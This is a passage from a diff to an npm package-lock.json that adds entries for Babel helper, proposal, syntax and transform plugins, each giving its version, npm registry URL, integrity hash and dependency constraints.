"sha512-Qg3Nk7ZxpgMrsox6HreY1ZNKdBq7K72tDSliA6dCl5f007jR4ne8iD5UzuNnCJH2xBf2BEEVGr+/OL6Gdp7RxA==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-remap-async-to-generator": { + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/helper-remap-async-to-generator/-/helper-remap-async-to-generator-7.16.8.tgz", + "integrity": "sha512-fm0gH7Flb8H51LqJHy3HJ3wnE1+qtYR2A99K06ahwrawLdOFsCEWjZOrYricXJHoPSudNKxrMBUPEIPxiIIvBw==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-wrap-function": "^7.16.8", + "@babel/types": "^7.16.8" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-replace-supers": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-replace-supers/-/helper-replace-supers-7.16.7.tgz", + "integrity": "sha512-y9vsWilTNaVnVh6xiJfABzsNpgDPKev9HnAgz6Gb1p6UUwf9NepdlsV7VXGCftJM+jqD5f7JIEubcpLjZj5dBw==", + "dev": true, + "dependencies": { + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-member-expression-to-functions": "^7.16.7", + "@babel/helper-optimise-call-expression": "^7.16.7", + "@babel/traverse": "^7.16.7", + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-simple-access": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/helper-simple-access/-/helper-simple-access-7.17.7.tgz", + "integrity": "sha512-txyMCGroZ96i+Pxr3Je3lzEJjqwaRC9buMUgtomcrLe5Nd0+fk1h0LLA+ixUF5OW7AhHuQ7Es1WcQJZmZsz2XA==", + "dev": true, + "dependencies": { + "@babel/types": "^7.17.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-skip-transparent-expression-wrappers": { + "version": "7.16.0", + "resolved": "https://registry.npmjs.org/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.16.0.tgz", + "integrity": "sha512-+il1gTy0oHwUsBQZyJvukbB4vPMdcYBrFHa0Uc4AizLxbq6BOYC51Rv4tWocX9BLBDLZ4kc6qUFpQ6HRgL+3zw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-split-export-declaration": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.16.7.tgz", + "integrity": "sha512-xbWoy/PFoxSWazIToT9Sif+jJTlrMcndIsaOKvTA6u7QEo7ilkRZpjew18/W3c7nm8fXdUDXh02VXTbZ0pGDNw==", + "dev": true, + "dependencies": { + "@babel/types": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-identifier": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.16.7.tgz", + "integrity": "sha512-hsEnFemeiW4D08A5gUAZxLBTXpZ39P+a+DGDsHw1yxqyQ/jzFEnxf5uTEGp+3bzAbNOxU1paTgYS4ECU/IgfDw==", + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-validator-option": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.16.7.tgz", + "integrity": "sha512-TRtenOuRUVo9oIQGPC5G9DgK4743cdxvtOw0weQNpZXaS16SCBi5MNjZF8vba3ETURjZpTbVn7Vvcf2eAwFozQ==", + "dev": true, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helper-wrap-function": { + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/helper-wrap-function/-/helper-wrap-function-7.16.8.tgz", + "integrity": "sha512-8RpyRVIAW1RcDDGTA+GpPAwV22wXCfKOoM9bet6TLkGIFTkRQSkH1nMQ5Yet4MpoXe1ZwHPVtNasc2w0uZMqnw==", + "dev": true, + "dependencies": { + "@babel/helper-function-name": "^7.16.7", + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.16.8", + "@babel/types": "^7.16.8" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/helpers": { + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.17.8.tgz", + "integrity": "sha512-QcL86FGxpfSJwGtAvv4iG93UL6bmqBdmoVY0CMCU2g+oD2ezQse3PT5Pa+jiD6LJndBQi0EDlpzOWNlLuhz5gw==", + "dev": true, + "dependencies": { + "@babel/template": "^7.16.7", + "@babel/traverse": "^7.17.3", + "@babel/types": "^7.17.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/highlight": { + "version": "7.16.10", + "resolved": "https://registry.npmjs.org/@babel/highlight/-/highlight-7.16.10.tgz", + "integrity": "sha512-5FnTQLSLswEj6IkgVw5KusNUUFY9ZGqe/TRFnP/BKYHYgfh7tc+C7mwiy95/yNP7Dh9x580Vv8r7u7ZfTBFxdw==", + "dependencies": { + "@babel/helper-validator-identifier": "^7.16.7", + "chalk": "^2.0.0", + "js-tokens": "^4.0.0" + }, + "engines": { + "node": ">=6.9.0" + } + }, + "node_modules/@babel/parser": { + "version": "7.17.8", + "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.17.8.tgz", + "integrity": "sha512-BoHhDJrJXqcg+ZL16Xv39H9n+AqJ4pcDrQBGZN+wHxIysrLZ3/ECwCBUch/1zUNhnsXULcONU3Ei5Hmkfk6kiQ==", + "dev": true, + "bin": { + "parser": "bin/babel-parser.js" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.16.7.tgz", + "integrity": "sha512-anv/DObl7waiGEnC24O9zqL0pSuI9hljihqiDuFHC8d7/bjr/4RLGPWuc8rYOff/QPzbEPSkzG8wGG9aDuhHRg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.16.7.tgz", + "integrity": "sha512-di8vUHRdf+4aJ7ltXhaDbPoszdkh59AQtJM5soLsuHpQJdFQZOA4uGj0V2u/CZ8bJ/u8ULDL5yq6FO/bCXnKHw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.16.0", + "@babel/plugin-proposal-optional-chaining": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.13.0" + } + }, + "node_modules/@babel/plugin-proposal-async-generator-functions": { + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-async-generator-functions/-/plugin-proposal-async-generator-functions-7.16.8.tgz", + "integrity": "sha512-71YHIvMuiuqWJQkebWJtdhQTfd4Q4mF76q2IX37uZPkG9+olBxsX+rH1vkhFto4UeJZ9dPY2s+mDvhDm1u2BGQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-remap-async-to-generator": "^7.16.8", + "@babel/plugin-syntax-async-generators": "^7.8.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-properties": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.16.7.tgz", + "integrity": "sha512-IobU0Xme31ewjYOShSIqd/ZGM/r/cuOz2z0MDbNrhF5FW+ZVgi0f2lyeoj9KFPDOAqsYxmLWZte1WOwlvY9aww==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-class-static-block": { + "version": "7.17.6", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-class-static-block/-/plugin-proposal-class-static-block-7.17.6.tgz", + "integrity": "sha512-X/tididvL2zbs7jZCeeRJ8167U/+Ac135AM6jCAx6gYXDUviZV5Ku9UDvWS2NCuWlFjIRXklYhwo6HhAC7ETnA==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.17.6", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-class-static-block": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.12.0" + } + }, + "node_modules/@babel/plugin-proposal-dynamic-import": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.16.7.tgz", + "integrity": "sha512-I8SW9Ho3/8DRSdmDdH3gORdyUuYnk1m4cMxUAdu5oy4n3OfN8flDEH+d60iG7dUfi0KkYwSvoalHzzdRzpWHTg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-dynamic-import": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-export-namespace-from": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.16.7.tgz", + "integrity": "sha512-ZxdtqDXLRGBL64ocZcs7ovt71L3jhC1RGSyR996svrCi3PYqHNkb3SwPJCs8RIzD86s+WPpt2S73+EHCGO+NUA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-export-namespace-from": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-json-strings": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.16.7.tgz", + "integrity": "sha512-lNZ3EEggsGY78JavgbHsK9u5P3pQaW7k4axlgFLYkMd7UBsiNahCITShLjNQschPyjtO6dADrL24757IdhBrsQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-json-strings": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-logical-assignment-operators": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.16.7.tgz", + "integrity": "sha512-K3XzyZJGQCr00+EtYtrDjmwX7o7PLK6U9bi1nCwkQioRFVUv6dJoxbQjtWVtP+bCPy82bONBKG8NPyQ4+i6yjg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-nullish-coalescing-operator": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.16.7.tgz", + "integrity": "sha512-aUOrYU3EVtjf62jQrCj63pYZ7k6vns2h/DQvHPWGmsJRYzWXZ6/AsfgpiRy6XiuIDADhJzP2Q9MwSMKauBQ+UQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-numeric-separator": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.16.7.tgz", + "integrity": "sha512-vQgPMknOIgiuVqbokToyXbkY/OmmjAzr/0lhSIbG/KmnzXPGwW/AdhdKpi+O4X/VkWiWjnkKOBiqJrTaC98VKw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-numeric-separator": "^7.10.4" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-object-rest-spread": { + "version": "7.17.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.17.3.tgz", + "integrity": "sha512-yuL5iQA/TbZn+RGAfxQXfi7CNLmKi1f8zInn4IgobuCWcAb7i+zj4TYzQ9l8cEzVyJ89PDGuqxK1xZpUDISesw==", + "dev": true, + "dependencies": { + "@babel/compat-data": "^7.17.0", + "@babel/helper-compilation-targets": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-object-rest-spread": "^7.8.3", + "@babel/plugin-transform-parameters": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-catch-binding": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-catch-binding/-/plugin-proposal-optional-catch-binding-7.16.7.tgz", + "integrity": "sha512-eMOH/L4OvWSZAE1VkHbr1vckLG1WUcHGJSLqqQwl2GaUqG6QjddvrOaTUMNYiv77H5IKPMZ9U9P7EaHwvAShfA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-optional-catch-binding": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-optional-chaining": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.16.7.tgz", + "integrity": "sha512-eC3xy+ZrUcBtP7x+sq62Q/HYd674pPTb/77XZMb5wbDPGWIdUbSr4Agr052+zaUPSb+gGRnjxXfKFvx5iMJ+DA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-skip-transparent-expression-wrappers": "^7.16.0", + "@babel/plugin-syntax-optional-chaining": "^7.8.3" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-methods": { + "version": "7.16.11", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.16.11.tgz", + "integrity": "sha512-F/2uAkPlXDr8+BHpZvo19w3hLFKge+k75XUprE6jaqKxjGkSYcK+4c+bup5PdW/7W/Rpjwql7FTVEDW+fRAQsw==", + "dev": true, + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.16.10", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-private-property-in-object": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.16.7.tgz", + "integrity": "sha512-rMQkjcOFbm+ufe3bTZLyOfsOUOxyvLXZJCTARhJr+8UMSoZmqTe1K1BgkFcrW37rAchWg57yI69ORxiWvUINuQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-create-class-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/plugin-syntax-private-property-in-object": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-proposal-unicode-property-regex": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-proposal-unicode-property-regex/-/plugin-proposal-unicode-property-regex-7.16.7.tgz", + "integrity": "sha512-QRK0YI/40VLhNVGIjRNAAQkEHws0cswSdFFjpFyt943YmJIU1da9uW63Iu6NFV6CxTZW5eTDCrwZUstBWgp/Rg==", + "dev": true, + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-async-generators": { + "version": "7.8.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-async-generators/-/plugin-syntax-async-generators-7.8.4.tgz", + "integrity": "sha512-tycmZxkGfZaxhMRbXlPXuVFpdWlXpir2W4AMhSJgRKzk/eDlIXOhb2LHWoLpDF7TEHylV5zNhykX6KAgHJmTNw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-properties": { + "version": "7.12.13", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-properties/-/plugin-syntax-class-properties-7.12.13.tgz", + "integrity": "sha512-fm4idjKla0YahUNgFNLCB0qySdsoPiZP3iQE3rky0mBUtMZ23yDJ9SJdg6dXTSDnulOVqiF3Hgr9nbXvXTQZYA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.12.13" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-class-static-block": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-class-static-block/-/plugin-syntax-class-static-block-7.14.5.tgz", + "integrity": "sha512-b+YyPmr6ldyNnM6sqYeMWE+bgJcJpO6yS4QD7ymxgH34GBPNDM/THBh8iunyvKIZztiwLH4CJZ0RxTk9emgpjw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-dynamic-import": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-dynamic-import/-/plugin-syntax-dynamic-import-7.8.3.tgz", + "integrity": "sha512-5gdGbFon+PszYzqs83S3E5mpi7/y/8M9eC90MRTZfduQOYW76ig6SOSPNe41IG5LoP3FGBn2N0RjVDSQiS94kQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-export-namespace-from": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-export-namespace-from/-/plugin-syntax-export-namespace-from-7.8.3.tgz", + "integrity": "sha512-MXf5laXo6c1IbEbegDmzGPwGNTsHZmEy6QGznu5Sh2UCWvueywb2ee+CCE4zQiZstxU9BMoQO9i6zUFSY0Kj0Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.3" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-json-strings": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-json-strings/-/plugin-syntax-json-strings-7.8.3.tgz", + "integrity": "sha512-lY6kdGpWHvjoe2vk4WrAapEuBR69EMxZl+RoGRhrFGNYVK8mOPAW8VfbT/ZgrFbXlDNiiaxQnAtgVCZ6jv30EA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-jsx": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-jsx/-/plugin-syntax-jsx-7.16.7.tgz", + "integrity": "sha512-Esxmk7YjA8QysKeT3VhTXvF6y77f/a91SIs4pWb4H2eWGQkCKFgQaG6hdoEVZtGsrAcb2K5BW66XsOErD4WU3Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-logical-assignment-operators": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-logical-assignment-operators/-/plugin-syntax-logical-assignment-operators-7.10.4.tgz", + "integrity": "sha512-d8waShlpFDinQ5MtvGU9xDAOzKH47+FFoney2baFIoMr952hKOLp1HR7VszoZvOsV/4+RRszNY7D17ba0te0ig==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-nullish-coalescing-operator": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-nullish-coalescing-operator/-/plugin-syntax-nullish-coalescing-operator-7.8.3.tgz", + "integrity": "sha512-aSff4zPII1u2QD7y+F8oDsz19ew4IGEJg9SVW+bqwpwtfFleiQDMdzA/R+UlWDzfnHFCxxleFT0PMIrR36XLNQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-numeric-separator": { + "version": "7.10.4", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-numeric-separator/-/plugin-syntax-numeric-separator-7.10.4.tgz", + "integrity": "sha512-9H6YdfkcK/uOnY/K7/aA2xpzaAgkQn37yzWUMRK7OaPOqOpGS1+n0H5hxT9AUw9EsSjPW8SVyMJwYRtWs3X3ug==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.10.4" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-object-rest-spread": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-object-rest-spread/-/plugin-syntax-object-rest-spread-7.8.3.tgz", + "integrity": "sha512-XoqMijGZb9y3y2XskN+P1wUGiVwWZ5JmoDRwx5+3GmEplNyVM2s2Dg8ILFQm8rWM48orGy5YpI5Bl8U1y7ydlA==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-catch-binding": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-catch-binding/-/plugin-syntax-optional-catch-binding-7.8.3.tgz", + "integrity": "sha512-6VPD0Pc1lpTqw0aKoeRTMiB+kWhAoT24PA+ksWSBrFtl5SIRVpZlwN3NNPQjehA2E/91FV3RjLWoVTglWcSV3Q==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-optional-chaining": { + "version": "7.8.3", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-optional-chaining/-/plugin-syntax-optional-chaining-7.8.3.tgz", + "integrity": "sha512-KoK9ErH1MBlCPxV0VANkXW2/dw4vlbGDrFgz8bmUsBGYkFRcbRwMh6cIJubdPrkxRwuGdtCk0v/wPTKbQgBjkg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.8.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-private-property-in-object": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-private-property-in-object/-/plugin-syntax-private-property-in-object-7.14.5.tgz", + "integrity": "sha512-0wVnp9dxJ72ZUJDV27ZfbSj6iHLoytYZmh3rFcxNnvsJF3ktkzLDZPy/mA17HGsaQT3/DQsWYX1f1QGWkCoVUg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-syntax-top-level-await": { + "version": "7.14.5", + "resolved": "https://registry.npmjs.org/@babel/plugin-syntax-top-level-await/-/plugin-syntax-top-level-await-7.14.5.tgz", + "integrity": "sha512-hx++upLv5U1rgYfwe1xBQUhRmU41NEvpUvrp8jkrSCdvGSnM5/qdRMtylJ6PG5OFkBaHkbTAKTnd3/YyESRHFw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.14.5" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-arrow-functions": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-arrow-functions/-/plugin-transform-arrow-functions-7.16.7.tgz", + "integrity": "sha512-9ffkFFMbvzTvv+7dTp/66xvZAWASuPD5Tl9LK3Z9vhOmANo6j94rik+5YMBt4CwHVMWLWpMsriIc2zsa3WW3xQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-async-to-generator": { + "version": "7.16.8", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-async-to-generator/-/plugin-transform-async-to-generator-7.16.8.tgz", + "integrity": "sha512-MtmUmTJQHCnyJVrScNzNlofQJ3dLFuobYn3mwOTKHnSCMtbNsqvF71GQmJfFjdrXSsAA7iysFmYWw4bXZ20hOg==", + "dev": true, + "dependencies": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-remap-async-to-generator": "^7.16.8" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoped-functions": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoped-functions/-/plugin-transform-block-scoped-functions-7.16.7.tgz", + "integrity": "sha512-JUuzlzmF40Z9cXyytcbZEZKckgrQzChbQJw/5PuEHYeqzCsvebDx0K0jWnIIVcmmDOAVctCgnYs0pMcrYj2zJg==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-block-scoping": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-block-scoping/-/plugin-transform-block-scoping-7.16.7.tgz", + "integrity": "sha512-ObZev2nxVAYA4bhyusELdo9hb3H+A56bxH3FZMbEImZFiEDYVHXQSJ1hQKFlDnlt8G9bBrCZ5ZpURZUrV4G5qQ==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-classes": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-classes/-/plugin-transform-classes-7.16.7.tgz", + "integrity": "sha512-WY7og38SFAGYRe64BrjKf8OrE6ulEHtr5jEYaZMwox9KebgqPi67Zqz8K53EKk1fFEJgm96r32rkKZ3qA2nCWQ==", + "dev": true, + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.16.7", + "@babel/helper-environment-visitor": "^7.16.7", + "@babel/helper-function-name": "^7.16.7", + "@babel/helper-optimise-call-expression": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "@babel/helper-replace-supers": "^7.16.7", + "@babel/helper-split-export-declaration": "^7.16.7", + "globals": "^11.1.0" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-computed-properties": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-computed-properties/-/plugin-transform-computed-properties-7.16.7.tgz", + "integrity": "sha512-gN72G9bcmenVILj//sv1zLNaPyYcOzUho2lIJBMh/iakJ9ygCo/hEF9cpGb61SCMEDxbbyBoVQxrt+bWKu5KGw==", + "dev": true, + "dependencies": { + "@babel/helper-plugin-utils": "^7.16.7" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-destructuring": { + "version": "7.17.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-destructuring/-/plugin-transform-destructuring-7.17.7.tgz", 